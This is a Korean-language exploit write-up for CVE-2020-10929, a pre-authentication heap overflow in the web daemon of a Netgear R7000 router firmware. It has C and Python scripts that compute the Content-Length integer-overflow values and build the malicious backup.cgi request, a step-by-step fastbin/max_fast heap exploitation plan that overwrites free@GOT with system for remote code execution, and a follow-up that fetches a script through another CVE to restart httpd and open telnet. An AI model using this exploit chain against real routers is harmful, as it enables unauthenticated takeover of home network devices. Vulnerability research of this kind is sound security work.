1. Hardware
•
Model : AC1900 R7000
•
관리자 계정
◦
admin/Qwe123123
•
사진기준 왼쪽부터
•
VCC, GND, TX, RX
•
UART 연결 시 별도의 인증 없이 쉘 접근 가능
2. Check Info
•
Firmware Version
◦
V1.0.11.100_10.2.10
◦
대략 20년 4월쯤 나온 펌웨어
•
CVE-2020-10929
◦
WAN Side pre-auth 취약점
◦
httpd 데몬은 Netgear 라우터 웹 데몬
◦
pre-auth heap overflow
•
httpd mitigation
3. Firmware Extraction
•
위 사이트에서 V1.0.11.100_10.2.10 버전의 펌웨어를 다운 받은 뒤 binwalk로 파일시스템을 추출할 수 있다.
•
추가적인 이슈 없이 binwalk로 squashfs이 바로 추출된다.
•
/usr/sbin/httpd가 취약한 바이너리. 실행 인자는 다음과 같다
httpd -S -E /usr/sbin/ca.pem /usr/sbin/httpsd.pem
Bash
복사
•
내부에 tftp가 존재하며 이를 이용하여 원하는 바이너리를 올릴 수 있다.
# tftp 서버는 ubuntu 16.04에서 tftp-hpa를 설치후 tftp 서버로 구동 중
# 공유기 내부 서버에서
# get
-> tftp -l [추출하고자하는 바이너리] -p [tftp 서버 ip]
# put
-> tftp -r [공유기에 넣을 바이너리] -g [tftp 서버 ip]
Python
복사
4. Root Cause
•
Backup Settings 카테고리에서 backup 파일을 가져와 해당 설정으로 복구하는 기능이 존재한다.
•
해당 부분은 backup.cgi에서 처리되며 인증 없이도 접근할 수 있는 기능이다.
•
bacup에 사용되는 파일을 데이터로 하여 패킷이 전송된다. 패킷 구조는 아래와 같다.
•
해당 HTTP 요청은 multipart/form-data이며 mtenRestoreCfg 필드를 포함해야 한다.
4.1 httpd Process flow
0x17900
•
httpd가 실행되고 main 함수가 쭉 수행이 되며 sub_1643c 함수를 호출한다.
•
해당 함수는 http 패킷을 처리하는 최상단의 함수이며 각종 환경 설정 및 초기 세팅을 수행한다. 또한 인증 처리 로직을 수행하기 전에 수행되는 함수이다.
•
sub_10DA4 함수 내부에서 recv를 통해 입력을 받으며 최대 0x400만큼 받는다.(해당 작업을 while 루프를 돌며 수행된다.)
0x17FD0
•
s1에는 요청 전체 pkt 데이터가 들어있다.
•
s1에 Content-Length: 와 backup.cgi 문자열이 들어있고, filename=”” 이 없으면 LABEL_306으로 이동한다. backup.cgi의 역할은 파일 업로드를 위해 Content-Type이 multipart/form-data를 처리하기 위함이다.
•
LABEL_306에서 pkt_remain 값을 1로 설정한다.
0x178B00
•
0x400 바이트 이상의 패킷이 들어온다면 남아있는 데이터를 읽는다. 이 경우 select 함수의 반환 값은 1이되며 sub_10DA4 함수를 통해 남아있는 패킷 데이터를 수신한다.
0x17B80
•
s1에 name=”mtenRestoreCfg” 필드가 존재한다면 if 조건문을 만족하지 않아 else로 빠지게 된다.
0x17BF8
•
else로 빠지게 되면 s1에 “Content-Length: “ 문자열을 검색하고 Content-Length 길이 값을 가져와 최종적으로 filesize 변수에 저장한다.
•
filesize > 0x10017 비교를 수행한다. 만약 filesize가 더 크다면 filesize + 4 - v104를 계산하여 filesize를 재설정한다.
•
filesize는 “Content-Length: “ 필드에 들어있는 값이므로 컨트롤 가능한 값이다. 해당 부분에서 integer overflow가 발생해 filesize를 큰 값으로 재설정 할 수 있다.
4.2 Integer Overflow Flow
POST /backup.cgiContent-Length: 111 HTTP/1.1\r\n
JavaScript
복사
•
Content-Length: 필드를 처리할 때 결함이 존재한다.
•
stristr 함수를 통해 해당 문자열 위치를 가져오게 되는데 만약 위와 같은 형식으로 전달 시 Content-Length 필드를 컨트롤 할 수 있다.
0x17BF8
•
0x17c38에서 “Content-Length: “ 문자열을 정수로 변환하는 과정을 거친다.
•
atoi 함수의 역할을 수행하는 로직이며 정상적으로 숫자 문자열을 정수로 변환하기 위해 아스키 코드를 기준으로 ‘0’(0x30)을 빼주면 된다.
•
하지만 0x17c38은 숫자가 아닌 문자열에 대한 검증이 없기 때문에 스페이스(0x20) 같은 값이 존재한다면 0x20-0x30 = 0xfffffff0 의 결과를 불러 일으킨다.
#include <stdio.h>
int main()
{
char *pkt=" 111 HTTP/1.1";
int i=0;
int v109;
unsigned int filesize=0;
unsigned int tmp=0;
printf("pkt size is %d\n",12);
for(i;i<12;i++)
{
v109 = *(char*)++pkt;
tmp = filesize;
filesize = v109 - 0x30 + 10*filesize;
printf("fiesize = %#x - 0x30 + 10*%d => %d\n",(int)v109,tmp,filesize);
}
return 0;
}
--------------------------------------------
╭─vhok74@DESKTOP-GLCMDCV ~
╰─$ ./test
pkt size is 12
fiesize = 0x31 - 0x30 + 10*0 => 1
fiesize = 0x31 - 0x30 + 10*1 => 11
fiesize = 0x31 - 0x30 + 10*11 => 111
fiesize = 0x20 - 0x30 + 10*111 => 1094
fiesize = 0x48 - 0x30 + 10*1094 => 10964
fiesize = 0x54 - 0x30 + 10*10964 => 109676
fiesize = 0x54 - 0x30 + 10*109676 => 1096796
fiesize = 0x50 - 0x30 + 10*1096796 => 10967992
fiesize = 0x2f - 0x30 + 10*10967992 => 109679919
fiesize = 0x31 - 0x30 + 10*109679919 => 1096799191
fiesize = 0x2e - 0x30 + 10*1096799191 => -1916909980
fiesize = 0x31 - 0x30 + 10*-1916909980 => -1989230615 #0x896ebfe9
C
복사
•
Content-Length: 111 HTTP/1.1\r\n 구문 분석을 직접 구현하면 다음과 같은 결과가 나온다
•
0x20 문자 때문에 잘못된 계산이 수행되며 최종적으로 filesize는 0x896ebfe9 으로 계산이 된다.
num = 111
while True:
str_ = f"{num} HTTP/1.1"
len_=len(str_)
filesize=0
for i in range(len_):
v109 = ord(str_[i])
filesize = v109 - 0x30 + 10*filesize
check = '0x'+hex(filesize)[-8:]
print(check)
if "0xffffff" in check:
print(num)
break
print(f"============{num}=============")
num=num+1
--------------------------------------------------------
$ pypy3 find_len.py
...
0x4d2fa1e9
============4156556=============
0x88ca6be9
============4156557=============
0xc46535e9
============4156558=============
0xffffffe9
4156559
Python
복사
find_len.py
•
스크립트를 통해 filesize의 연산 결과가 0xffffffff에 가장 가까운 값을 찾았다.(4156559)
0x17c38
•
filesize가 0x10017보다 크면 몇 가지 연산을 통해 filesize가 다시 계산된다.
•
stristr(s1,’\r\n\r\n’)은 header 끝 부분 주소를 의미하며 해당 주소에 filesize 를 더한다.
•
여기서 filesize는 integer overflow를 통해 0xffffffe9로 조작 했으며 해당 값에 + 4를 더한다.(0xffffffed)
•
마지막으로 v104를 뺀다. v104는 body의 시작 주소이다. 재연산된 값을 filesize로 설정하고
0x17E08
•
최종적으로 filesize+0x258를 통해 malloc을 수행한다.
import sys
def tohex(val, nbits):
return hex((val + (1 << nbits)) % (1 << nbits))
def execute(a,size):
request = 'POST backup.cgiContent-Length: 4156559 HTTP/1.1\r\n'
request += 'Host: 192.168.1.1:80\r\n'
request += 'a'*0x200
request += ': test\r\n'
request += 'Content-Type: multipart/form-data; boundary=f8ffdd78dbe065014ef28cc53e4808cb\r\n'
post_data = "--f8ffdd78dbe065014ef28cc53e4808cb\r\nContent-Disposition: form-data; name=\"mtenRestoreCfg\"; filename=\""
post_data += 'a'*a
post_data += "\"\r\n\r\n"
post_data += 'k' # body data
s = f'Content-Length: {str(len(post_data))}\r\n\r\n'
request += s
tmp = request
request += post_data
r6 = request[40:].index("Content-Length")
r9 = request.index("\r\n\r\nk")+4
r6 = r6+40 - r9
r6 = int(tohex(r6,32),16)
result = r6 + 0x258
result = tohex(result,32)
print(result)
if result == size:
print(f'Want size : {size}')
print(f'Need argv size : {hex(a)}')
print(f'want_size + neet_size = {hex(int(size,16)+a)}')
print('Setting size : 0x1d7 - [want_size]')
return True
return False
cnt = 1
size = sys.argv[1]
while True:
print(hex(cnt))
flag = execute(cnt,size)
if flag:
break
cnt = cnt + 1
Python
복사
calc_size.py
•
integer overflow를 통해 원하는 청크를 크기를 할당 받기 위해 설정 해야 하는 body 데이터 크기를 찾는 스크립트를 작성하였으며,
•
이를 통해 0x1d7-[원하는 사이즈]를 body 데이터로 설정하여 보내면 malloc시 integer overflow를 통해 heap 크기를 컨트롤 할 수 있고 heap overflow를 일으킬 수 있다.
4.3 heap overflow
0x17E08
•
attack_buf(0x1DF0B8)가 존재하면 해당 메모리를 free한다
•
4.2절에서 filesize+0x258 를 통해 원하는 크기를 할당 받을 수 있다는 것을 확인하였다.(integer overflow).
•
현재 filesize를 컨트롤 할 수 있으므로 원하는 크기의 청크를 할당 할 수 있다.
•
total_readsize는 recv를 통해 읽은 전체 데이터의 크기이며 v97은 패킷에서 헤더를 제외한 전체 body 사이즈를 뜻한다. 따라서 복사되는 크기는 실제 body 데이터 사이즈이다.
•
s1[v97]에는 실제 body부분에 담긴 데이터가 들어있다.
•
최종적으로 할당받은 heap 크기와 실제 복사하는 크기를 다르게 할 수 있으므로 heap overflow가 발생한다.
•
예를 들어 integer overflow를 통해 0x20 크기의 청크를 할당 받아도 실제 body에 ‘a’*0x40을 넣어 heap overflow 가능하다.
4.4 Check infomation
•
현재 상황을 정리하면 다음과 같다.
◦
integer overflow : 원하는 청크 크기 할당 가능
◦
heap overflow 가능
•
추가적으로 확인된 상황은 다음과 같다.
◦
ASLR이 걸려있긴 하지만 heap 영역의 주소는 고정
◦
커널 버전 Linux R7000 2.6.36.4brcmarm+
◦
uClibc 버전 : 0.9.33.2
•
uClibc는 축소화 된 임베디드 용 glibc이다.(glibc와 유사하지만 좀 더 간소화 된 라이브러리)
•
heap overflow가 가능하므로 연속된 주소의 fastbin 청크를 할당 받아 다음 청크의 meta data를 overwrite한다.
•
조작된 meta data를 이용하여 원하는 주소(ex. free got addr)를 할당 받고, system 함수로 덮어써 RCE를 수행하면 된다. 하지만 몇 가지 주의사항이 존재한다.
•
heap overflow가 발생하는 memcpy 이후 로직 중 sub_290CC 함수 내부에서 fopen 가 호출된다.
•
sub_290CC → sub_39804 → sub_1B8FC → fopen(libc.so.0)
•
fopen 후 sub_1A118 함수 내부에서 fclose가 수행된다.
_DWORD *__fastcall stdio_fopen(int inited, unsigned __int8 *a2, _DWORD *a3, int a4)
{
...
if ( !a3 )
{
v12 = j_malloc(0x60u);
v7 = v12;
if ( !v12 )
return v7;
v12[2] = 0;
*(_WORD *)v12 = 0x2000;
inited = j___stdio_init_mutex(v12 + 18);
}
...
if ( !v7[2] )
{
v20 = j_malloc(0x1000u);
v7[2] = v20;
if ( v20 )
{
v21 = *(_WORD *)v7;
v7[3] = v20 + 1024;
...
C
복사
libc.so.0
•
fopen 내부에서 malloc(0x60), malloc(0x1000) 을 두번 수행한다.
•
0x60 사이즈는 small bin 크기이며 0x1000 사이즈는 large bin 크기이다.
•
uClibc에서 large bin 크기가 요청되면 현재 free 되어 있는 fast bin을 검색하고 병합하여 재할당을 위한 청크 재배열을 수행한다.(malloc_consolidate).
•
fastbin 재할당을 받으려면 fastbin에 들어있는 청크들이 병합되면 안된다.
•
fopen 이후 sub_1A118 내부에서 fclose를 통해 0x1000, 0x60 순서로 해당 청크를 free 한다.
•
메모리 할당 및 해제의 흐름을 정리하면 다음과 같다.
1.
attack_buf(0x1DF0B8) 주소가 할당되어 있다면 free(attack_buf)
2.
malloc(원하는 크기) 후 attack_buf에 저장
3.
sub_1B8FC 내부의 fopen에서 malloc(0x60), malloc(0x1000) 수행
4.
sub_1A118 내부의 fclose 에서 free(0x1000), free(0x60) 수행
•
heap exploit을 수행하기 위해 fastbin 크기의 청크를 할당받아야하며 malloc_consolidate 작업을 피해야 하는 상황이다.
int __fastcall sub_A59C8(FILE *a1, size_t size, _DWORD *a3)
{
...
buf = malloc(size);
if ( !buf )
{
printf("malloc zipLangTblSize(%lu) fail\n", size);
return -1;
}
...
// 생략
...
free(buf);
return v13;
}
C
복사
sub_A59C8
•
malloc_consolidate를 우회하기 위해 원하는 크기의 malloc을 수행하는 다른 로직이 필요한다.
•
sub_A59C8 함수는 /genierestore.cgi 를 처리하는 함수이며,
•
/genierestore.cgi 요청을 통해 malloc시 원하는 크기로 할당을 받을 수 있다.
•
/genierestore.cgi 요청 시, filecontent의 첫 0x10 바이트가 size를 의미한다.
•
해당 함수에서는 malloc 후 처리가 끝나면 바로 free를 수행한다.
•
malloc_consolidate를 조작하기 위한 조건은 확인했으므로 heap 로직을 파악하면 다음과 같다.
4.5 Heap Structure
struct malloc_state {
/* The maximum chunk size to be eligible for fastbin */
size_t max_fast; /* low 2 bits used as flags */
/* Fastbins */
mfastbinptr fastbins[NFASTBINS]; // NFASTBINS==10, fastbins[10]
/* Base of the topmost chunk -- not otherwise kept in a bin */
mchunkptr top;
/* The remainder from the most recent split of a small request */
mchunkptr last_remainder;
/* Normal bins packed as described above */
mchunkptr bins[NBINS * 2]; // NBINS==96, bins[192]
/* Bitmap of bins. Trailing zero map handles cases of largest binned size */
unsigned int binmap[BINMAPSIZE+1];
...
C
복사
•
glibc의 heap 구조를 알고 있다는 전제로 설명한다.
•
malloc_state 구조는 다음과 같다. glibc와 유사하며 fastbin은 10개의 빈을 가진다.
•
fastbin 다음에 top 청크의 주소와 last_remainder 청크가 온다.
•
그다음 unsorted bin, small bin, large bin 을 관리하는 bins[192]가 온다.
•
heap 로직 분석 내용은 따로 정리하였으며 위 글을 참조하면 된다.
•
결국 중요한 부분은 fastbin의 재할당 로직과 largebin 크기의 청크 요청 시 병합과정이 언제 일어나는지를 알면 분석하는데 도움이 된다.
•
현재 fastbin 공격을 수행하려면, malloc_consolidate 분기를 타지 않게 우회해야한다. 해당 방법은 free 구현의 길이 검증의 부재를 이용하여 해결한다.
// #define fastbin_index(sz) ((((unsigned int)(sz)) >> 3) - 2)
void free(void* mem)
{
mstate av;
...
if ((unsigned long)(size) <= (unsigned long)(av->max_fast)
#if TRIM_FASTBINS
/* If TRIM_FASTBINS set, don't place chunks
bordering top into fastbins */
&& (chunk_at_offset(p, size) != av->top)
#endif
) {
set_fastchunks(av);
//LIFO 방식으로 fastbin에 청크를 추가하는 로직
fb = &(av->fastbins[fastbin_index(size)]);
p->fd = *fb;
*fb = p; // point!
}
...
}
C
복사
•
p는 해제하려는 청크의 주소이다.
•
free 되려는 현재 청크의 크기가 fastbin 크기라면 (size < av→max_fast)
•
fastbin에 LIFO 방식으로 해당 청크를 추가한다.
•
하지만 만약 size가 8이면 (8>>3)-2 연산을 통해 -1이 되고 결국 다음과 같게 된다.
◦
fb = &(av->fastbins[-1]);
struct malloc_state {
/* The maximum chunk size to be eligible for fastbin */
size_t max_fast; /* low 2 bits used as flags */
/* Fastbins */
mfastbinptr fastbins[NFASTBINS]; // NFASTBINS==10, fastbins[10]
C
복사
•
mstate 구조체는 malloc_state 구조체이며 만약 fastbin[-1]으로 계산이 되면 max_fast 필드의 주소가 반환되어 fb에 들어가게 된다.
•
따라서 *fb=p 연산을 통해 p(주소 값)를 이용하여 max_fast 필드를 overwrite 할 수 있다.
void* malloc(size_t bytes)
{
mstate av;
..
/*
If the size qualifies as a fastbin, first check corresponding bin.
*/
if ((unsigned long)(nb) <= (unsigned long)(av->max_fast)) {
fb = &(av->fastbins[(fastbin_index(nb))]);
if ( (victim = *fb) != 0) {
// heap exploit을 수행하면서 max_fast를 overwrite하는 시점에 오면
// 적어도 1개 이상의 fastbin은 들어있음
*fb = victim->fd;
check_remalloced_chunk(victim, nb);
retval = chunk2mem(victim);
goto DONE;
}
}
if (in_smallbin_range(nb)) {
idx = smallbin_index(nb);
bin = bin_at(av,idx);
...
else {
idx = __malloc_largebin_index(nb); //largebin 일 경우
if (have_fastchunks(av)) //fastbin에 청크가 남아있으면
__malloc_consolidate(av); // 원래의 경우 병합이 진행되야함
}
C
복사
•
정상적인 경우 fopen시의 0x1000크기의 요청은 largebin 크기이다. 따라서 av→max_fast 값보다 큰 값을 가지는게 정상적인 경우지만,
•
max_fast 필드가 overflow되어 0x1000 크기 요청 역시 fastbin 로직에서 검색하는 로직을 타게 되므로 largebin 검색 분기 까지 오지 않아 fastbin이 병합되는 것을 우회할 수 있다.
5. Exploit
exploit 시나리오는 다음과 같다.
1.
연속된 주소의 두 청크 할당
•
A 할당
•
B 할당 → free(A) 후 B 할당
2.
C 청크 할당
•
free(B) 후 C 할당
•
실제로는 A 청크가 해제된 상황이므로 A 주소를 할당 받게 된다
3.
heap overflow를 이용하여 B 청크의 메타데이터 overwrite
•
A청크는 현재 재할당 받은 상태이므로 B 청크의 헤더에 prev_size가 설정되어 있지 않지만
•
heap overwrite를 이용하여 B청크의 prev_size와 size를 조작한다. 이 때 size의 prev_inuse bit를 0으로 설정한다.
•
prev_size는 B 청크 이전 영역 중 정상적으로 free(Largebin크기로) 되어 있는 청크 주소에 맞게 설정해야한다. (해당 청크를 K라 지칭)
•
내부적으로 fopen시 Largebin 크기의 malloc이 호출되면 fastbin 청크가 존재할 경우 병합을 위해malloc_consolidate이 호출된다.
void* malloc(size_t bytes)
...
else {
idx = __malloc_largebin_index(nb);
if (have_fastchunks(av))
__malloc_consolidate(av);
...
C
복사
•
병합 시 B 청크의 prev_inuse bit를 0으로 수정했기 때문에 malloc_consolidate 함수 내부에서 K청크와 B 청크가 병합된다(병합된 free 청크를 H라 지칭).
•
조작된 병합으로 인해 free되어 있는 H청크 중간에 C 청크가 들어가 있다.
4.
3번에서 조작한 B 청크의 (- prev_size) 위치에 있는 청크 재할당(H 청크)
•
H 청크 중간에 C 청크가 포함되어 있으므로 C 청크의 메타데이터를 덮을 수 있다.
•
C청크의 size를 prev_inuse를 포함한 0x9로 변경한다.(max_fast를 덮기 위해)
5.
free(attack_buf)를 호출하여 max_fast overwrite
•
이 시점부턴 fastbin 병합은 수행되지 않는다.
6.
적절한 크기의 청크 할당
•
1번 과정처럼 heap overflow를 하기 위해 적절한 크기 할당 및 해제.
7.
heap overflow 수행
•
6번에서 만든 청크들을 이용하여
•
overflow를 통해 다음 청크의 size를 조작하고, fd를 free_got로 수정
8.
7번에서 조작한 size의 청크 할당
•
•
free_got를 system함수로 조작
9.
free 호출 시 system 함수가 호출되며 exploit 수행.
exploit 시나리오를 도식화 하면 다음과 같다.
•
위 시나리오의 1 ~ 5번 과정
step 1 ~ 5
•
위 시나리오의 6 ~ 9번 과정
poc
•
공격에 성공하게 되면 heap 구조가 망가져 httpd 서비스가 죽을 수 있다.
•
따라서 poc 신뢰성을 높이기 위해 다음의 작업을 수행하였다.
1.
CVE-2021-40847 의 circled 취약점을 활용하여 e 라는 스크립트를 ftp를 통해 다운 받고 공유기 내부에서 실행
2.
e 스크립트는 httpd 프로세스를 재 실행시킨 뒤, telnet을 open하는 기능 코드로ping_circle.sh overwrite
3.
내부적으로 ping_circle.sh이 실행되면 http가 재 실행되며, telnet이 활성화
•
ping_circle.sh 스크립트를 덮었다.
•
CVE-2021-40847은 60분에 한번 씩 ping_circle.sh이 실행되므로 분석의 편의성을 위해 10초에 한 번씩 실행되게 끔 수정하였다.
e
poc.py